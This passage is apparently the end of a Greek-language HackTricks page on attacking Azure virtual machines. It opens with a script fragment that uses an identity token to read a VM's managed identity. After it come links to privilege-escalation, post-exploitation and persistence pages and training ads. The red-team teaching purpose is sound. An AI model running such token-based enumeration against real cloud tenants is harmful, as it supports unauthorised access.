print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Κλιμάκωση Δικαιωμάτων

Az - Virtual Machines & Network Privesc

Μη Αυθεντικοποιημένη Πρόσβαση

Az - VMs Unauth

Μετά την Εκμετάλλευση

Az - VMs & Network Post Exploitation

Επιμονή

Az - VMs Persistence

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks